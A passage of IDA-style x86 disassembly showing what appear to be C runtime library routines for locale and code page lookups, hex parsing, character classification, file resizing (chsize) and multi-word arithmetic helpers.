loc_42DC4B:				; CODE XREF: sub_42DC00+45j
		lea	edx, [ebp+var_8]
		mov	[ebp+arg_0], edx
		jmp	short loc_42DC8B
; ---------------------------------------------------------------------------


loc_42DC53:				; CODE XREF: sub_42DC00+29j
		push	offset aOcp	; "OCP"
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_418A30
		add	esp, 8
		test	eax, eax
		jnz	short loc_42DC8B
		push	8
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Bh
		mov	edx, dword_4DE224
		push	edx
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42DC85
		xor	eax, eax
		jmp	short loc_42DC97
; ---------------------------------------------------------------------------


loc_42DC85:				; CODE XREF: sub_42DC00+7Fj
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_0], eax


loc_42DC8B:				; CODE XREF: sub_42DC00+51j
					; sub_42DC00+66j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_417860
		add	esp, 4


loc_42DC97:				; CODE XREF: sub_42DC00+49j
					; sub_42DC00+83j
		mov	esp, ebp
		pop	ebp
		retn
sub_42DC00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DCA0	proc near		; CODE XREF: sub_42D600+16Ep
					; sub_42DB20+6Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	ax, [ebp+arg_0]
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_8], 0
		jmp	short loc_42DCC0
; ---------------------------------------------------------------------------


loc_42DCB7:				; CODE XREF: sub_42DCA0:loc_42DCE4j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42DCC0:				; CODE XREF: sub_42DCA0+15j
		cmp	[ebp+var_8], 0Ah
		jnb	short loc_42DCE6
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, word_447FD4[eax*2]
		cmp	edx, ecx
		jnz	short loc_42DCE4
		xor	eax, eax
		jmp	short loc_42DCEB
; ---------------------------------------------------------------------------


loc_42DCE4:				; CODE XREF: sub_42DCA0+3Ej
		jmp	short loc_42DCB7
; ---------------------------------------------------------------------------


loc_42DCE6:				; CODE XREF: sub_42DCA0+24j
		mov	eax, 1


loc_42DCEB:				; CODE XREF: sub_42DCA0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_42DCA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DCF0	proc near		; CODE XREF: sub_42D600+260p
					; sub_42D600+2E6p ...

var_7C		= byte ptr -7Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 3FFh
		and	eax, 0FFFFh
		or	ah, 4
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		push	78h
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4DE228
		test	eax, eax
		jnz	short loc_42DD2E
		xor	eax, eax
		jmp	short loc_42DD72
; ---------------------------------------------------------------------------


loc_42DD2E:				; CODE XREF: sub_42DCF0+38j
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_42DF60
		add	esp, 4
		cmp	[ebp+arg_0], eax
		jz	short loc_42DD6D
		cmp	[ebp+arg_4], 0
		jz	short loc_42DD6D
		mov	ecx, dword_4DE218
		push	ecx
		call	sub_42DFE0
		add	esp, 4
		mov	esi, eax
		mov	edx, dword_4DE218
		push	edx
		call	sub_414EC0
		add	esp, 4
		cmp	esi, eax
		jnz	short loc_42DD6D
		xor	eax, eax
		jmp	short loc_42DD72
; ---------------------------------------------------------------------------


loc_42DD6D:				; CODE XREF: sub_42DCF0+4Dj
					; sub_42DCF0+53j ...
		mov	eax, 1


loc_42DD72:				; CODE XREF: sub_42DCF0+3Cj
					; sub_42DCF0+7Bj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_42DCF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DD80	proc near		; CODE XREF: sub_42D2B0+Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	dword_4E039C	; GetVersionExA
		test	eax, eax
		jz	short loc_42DDB9
		cmp	[ebp+var_84], 2
		jnz	short loc_42DDB9
		mov	[ebp+var_98], 1
		jmp	short loc_42DDC3
; ---------------------------------------------------------------------------


loc_42DDB9:				; CODE XREF: sub_42DD80+22j
					; sub_42DD80+2Bj
		mov	[ebp+var_98], 0


loc_42DDC3:				; CODE XREF: sub_42DD80+37j
		mov	eax, [ebp+var_98]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DD80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DDD0	proc near		; DATA XREF: sub_42D2B0:loc_42D2D2o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_8], 0


loc_42DDEB:				; CODE XREF: sub_42DDD0:loc_42DF33j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_4]
		jg	loc_42DF38
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_447B30[ecx]
		jnz	loc_42DF0E
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0Bh
		ja	short loc_42DE47
		cmp	[ebp+var_14], 0Bh
		jz	loc_42DEB9
		cmp	[ebp+var_14], 1
		jz	short loc_42DE64
		cmp	[ebp+var_14], 3
		jz	short loc_42DE86
		cmp	[ebp+var_14], 7
		jz	short loc_42DEA8
		jmp	loc_42DED8
; ---------------------------------------------------------------------------


loc_42DE47:				; CODE XREF: sub_42DDD0+54j
		cmp	[ebp+var_14], 1001h
		jz	short loc_42DE75
		cmp	[ebp+var_14], 1002h
		jz	short loc_42DE97
		cmp	[ebp+var_14], 1004h
		jz	short loc_42DECA
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DE64:				; CODE XREF: sub_42DDD0+64j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset a040a ; "040a"
		mov	[ebp+var_8], ecx
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DE75:				; CODE XREF: sub_42DDD0+7Ej
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_447B3C[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DE86:				; CODE XREF: sub_42DDD0+6Aj
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset dword_447B40
		mov	[ebp+var_8], ecx
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DE97:				; CODE XREF: sub_42DDD0+87j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_447B44[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DEA8:				; CODE XREF: sub_42DDD0+70j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset dword_447B48
		mov	[ebp+var_8], ecx
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DEB9:				; CODE XREF: sub_42DDD0+5Aj
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		add	edx, offset dword_447B4C
		mov	[ebp+var_8], edx
		jmp	short loc_42DED8
; ---------------------------------------------------------------------------


loc_42DECA:				; CODE XREF: sub_42DDD0+90j
		mov	eax, [ebp+var_C]
		imul	eax, 2Ch
		add	eax, offset a1252 ; "1252"
		mov	[ebp+var_8], eax


loc_42DED8:				; CODE XREF: sub_42DDD0+72j
					; sub_42DDD0+92j ...
		cmp	[ebp+var_8], 0
		jz	short loc_42DEE4
		cmp	[ebp+arg_C], 1
		jge	short loc_42DEE6


loc_42DEE4:				; CODE XREF: sub_42DDD0+10Cj
		jmp	short loc_42DF38
; ---------------------------------------------------------------------------


loc_42DEE6:				; CODE XREF: sub_42DDD0+112j
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_417760
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	byte ptr [ecx-1], 0
		mov	eax, 1
		jmp	short loc_42DF4E
; ---------------------------------------------------------------------------


loc_42DF0E:				; CODE XREF: sub_42DDD0+44j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_447B30[edx]
		jnb	short loc_42DF2A
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42DF33
; ---------------------------------------------------------------------------


loc_42DF2A:				; CODE XREF: sub_42DDD0+14Dj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_10], edx


loc_42DF33:				; CODE XREF: sub_42DDD0+158j
		jmp	loc_42DDEB
; ---------------------------------------------------------------------------


loc_42DF38:				; CODE XREF: sub_42DDD0+21j
					; sub_42DDD0:loc_42DEE4j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E0398	; GetLocaleInfoA


loc_42DF4E:				; CODE XREF: sub_42DDD0+13Cj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_42DDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DF60	proc near		; CODE XREF: sub_42D600+Ap
					; sub_42D9B0+Ap ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0


loc_42DF6D:				; CODE XREF: sub_42DF60+6Dj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		movsx	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jz	short loc_42DFCF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 61h
		jl	short loc_42DFA2
		movsx	edx, [ebp+var_8]
		cmp	edx, 66h
		jg	short loc_42DFA2
		mov	al, [ebp+var_8]
		add	al, 0D9h
		mov	[ebp+var_8], al
		jmp	short loc_42DFBC
; ---------------------------------------------------------------------------


loc_42DFA2:				; CODE XREF: sub_42DF60+2Dj
					; sub_42DF60+36j
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 41h
		jl	short loc_42DFBC
		movsx	edx, [ebp+var_8]
		cmp	edx, 46h
		jg	short loc_42DFBC
		mov	al, [ebp+var_8]
		add	al, 0F9h
		mov	[ebp+var_8], al


loc_42DFBC:				; CODE XREF: sub_42DF60+40j
					; sub_42DF60+49j ...
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		movsx	edx, [ebp+var_8]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_4], eax
		jmp	short loc_42DF6D
; ---------------------------------------------------------------------------


loc_42DFCF:				; CODE XREF: sub_42DF60+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DFE0	proc near		; CODE XREF: sub_42D540+60p
					; sub_42D930+39p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_42DFFE:				; CODE XREF: sub_42DFE0+5Cj
		movsx	eax, [ebp+var_4]
		cmp	eax, 41h
		jl	short loc_42E010
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 5Ah
		jle	short loc_42E022


loc_42E010:				; CODE XREF: sub_42DFE0+25j
		movsx	edx, [ebp+var_4]
		cmp	edx, 61h
		jl	short loc_42E03E
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_42E03E


loc_42E022:				; CODE XREF: sub_42DFE0+2Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_42DFFE
; ---------------------------------------------------------------------------


loc_42E03E:				; CODE XREF: sub_42DFE0+37j
					; sub_42DFE0+40j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42DFE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E150	proc near		; CODE XREF: sub_427B20+4Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
sub_42E150	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	8
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DE42C, 3A4h
		jnz	short loc_42E1BD
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_42E1D0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42E1BD
		mov	dword ptr [ebp-4], 1
		jmp	short loc_42E1C4
; ---------------------------------------------------------------------------


loc_42E1BD:				; CODE XREF: .data:0042E19Ej
					; .data:0042E1B2j
		mov	dword ptr [ebp-4], 0


loc_42E1C4:				; CODE XREF: .data:0042E1BBj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E1D0	proc near		; CODE XREF: .data:0042E05Bp
					; .data:0042E07Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, byte_4DE541[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_42E224
		cmp	[ebp+arg_4], 0
		jz	short loc_42E20E
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word_44727E[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_42E215
; ---------------------------------------------------------------------------


loc_42E20E:				; CODE XREF: sub_42E1D0+27j
		mov	[ebp+var_4], 0


loc_42E215:				; CODE XREF: sub_42E1D0+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_42E224
		mov	[ebp+var_8], 0
		jmp	short loc_42E22B
; ---------------------------------------------------------------------------


loc_42E224:				; CODE XREF: sub_42E1D0+21j
					; sub_42E1D0+49j
		mov	[ebp+var_8], 1


loc_42E22B:				; CODE XREF: sub_42E1D0+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E1D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4DE420
		jnb	short loc_42E271
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42E281


loc_42E271:				; CODE XREF: .data:0042E24Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_42E2AF
; ---------------------------------------------------------------------------


loc_42E281:				; CODE XREF: .data:0042E26Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_42E2C0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp-4]


loc_42E2AF:				; CODE XREF: .data:0042E27Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E2C0	proc near		; CODE XREF: sub_429E30+44Cp
					; .data:0042E295p

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_4181D0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1004]
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101C],	0


loc_42E2E6:				; CODE XREF: sub_42E2C0+51j
		cmp	[ebp+arg_4], 0
		jge	short loc_42E30D
		push	offset aSize0	; "size	>= 0"
		push	0
		push	81h
		push	offset aChsize_c ; "chsize.c"
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42E30D
		int	3		; Trap to Debugger


loc_42E30D:				; CODE XREF: sub_42E2C0+2Aj
					; sub_42E2C0+4Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_42E2E6
		push	1
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_426470
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		cmp	[ebp+var_100C],	0FFFFFFFFh
		jz	short loc_42E351
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426470
		add	esp, 0Ch
		mov	[ebp+var_1010],	eax
		cmp	[ebp+var_1010],	0FFFFFFFFh
		jnz	short loc_42E359


loc_42E351:				; CODE XREF: sub_42E2C0+70j
		or	eax, 0FFFFFFFFh
		jmp	loc_42E4E9
; ---------------------------------------------------------------------------


loc_42E359:				; CODE XREF: sub_42E2C0+8Fj
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+var_1010]
		mov	[ebp+var_1018],	ecx
		cmp	[ebp+var_1018],	0
		jle	loc_42E470
		push	1000h
		push	0
		mov	edx, [ebp+var_1014]
		push	edx
		call	sub_417700
		add	esp, 0Ch
		push	8000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_431470
		add	esp, 8
		mov	[ebp+var_4], eax


loc_42E39F:				; CODE XREF: sub_42E2C0+198j
		cmp	[ebp+var_1018],	1000h
		jl	short loc_42E3B7
		mov	[ebp+var_1020],	1000h
		jmp	short loc_42E3C3
; ---------------------------------------------------------------------------


loc_42E3B7:				; CODE XREF: sub_42E2C0+E9j
		mov	ecx, [ebp+var_1018]
		mov	[ebp+var_1020],	ecx


loc_42E3C3:				; CODE XREF: sub_42E2C0+F5j
		mov	edx, [ebp+var_1020]
		mov	[ebp+var_1008],	edx
		cmp	[ebp+var_1018],	1000h
		jl	short loc_42E3E7
		mov	[ebp+var_1024],	1000h
		jmp	short loc_42E3F3
; ---------------------------------------------------------------------------


loc_42E3E7:				; CODE XREF: sub_42E2C0+119j
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1024],	eax


loc_42E3F3:				; CODE XREF: sub_42E2C0+125j
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+var_1014]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4268D0
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_42E43F
		call	sub_4224E0
		cmp	dword ptr [eax], 5
		jnz	short loc_42E431
		call	sub_4224D0
		mov	dword ptr [eax], 0Dh


loc_42E431:				; CODE XREF: sub_42E2C0+164j
		mov	ecx, [ebp+var_1008]
		mov	[ebp+var_101C],	ecx
		jmp	short loc_42E45E
; ---------------------------------------------------------------------------


loc_42E43F:				; CODE XREF: sub_42E2C0+15Aj
		mov	edx, [ebp+var_1018]
		sub	edx, [ebp+var_1008]
		mov	[ebp+var_1018],	edx
		cmp	[ebp+var_1018],	0
		jg	loc_42E39F


loc_42E45E:				; CODE XREF: sub_42E2C0+17Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_431470
		add	esp, 8
		jmp	short loc_42E4CE
; ---------------------------------------------------------------------------


loc_42E470:				; CODE XREF: sub_42E2C0+AFj
		cmp	[ebp+var_1018],	0
		jge	short loc_42E4CE
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426470
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429840
		add	esp, 4
		push	eax
		call	dword_4E02E4	; SetEndOfFile
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		mov	[ebp+var_101C],	eax
		cmp	[ebp+var_101C],	0FFFFFFFFh
		jnz	short loc_42E4CE
		call	sub_4224D0
		mov	dword ptr [eax], 0Dh
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_4224E0
		mov	[eax], esi


loc_42E4CE:				; CODE XREF: sub_42E2C0+1AEj
					; sub_42E2C0+1B7j ...
		push	0
		mov	edx, [ebp+var_100C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_426470
		add	esp, 0Ch
		mov	eax, [ebp+var_101C]


loc_42E4E9:				; CODE XREF: sub_42E2C0+94j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42E2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E4F0	proc near		; CODE XREF: sub_42B320+53p
					; sub_42B320+94p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_42E516
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_42E51F


loc_42E516:				; CODE XREF: sub_42E4F0+1Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_42E51F:				; CODE XREF: sub_42E4F0+24j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E4F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E530	proc near		; CODE XREF: sub_42E6B0+77p
					; sub_42E6B0+AAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_42E4F0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42E587
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_42E4F0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42E587
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax


loc_42E587:				; CODE XREF: sub_42E530+25j
					; sub_42E530+46j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_42E4F0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_42E5BC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx


loc_42E5BC:				; CODE XREF: sub_42E530+7Bj
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		push	edx
		call	sub_42E4F0
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_42E530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E5E0	proc near		; CODE XREF: sub_42E6B0+5Bp
					; sub_42E6B0+67p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shl	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shl	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
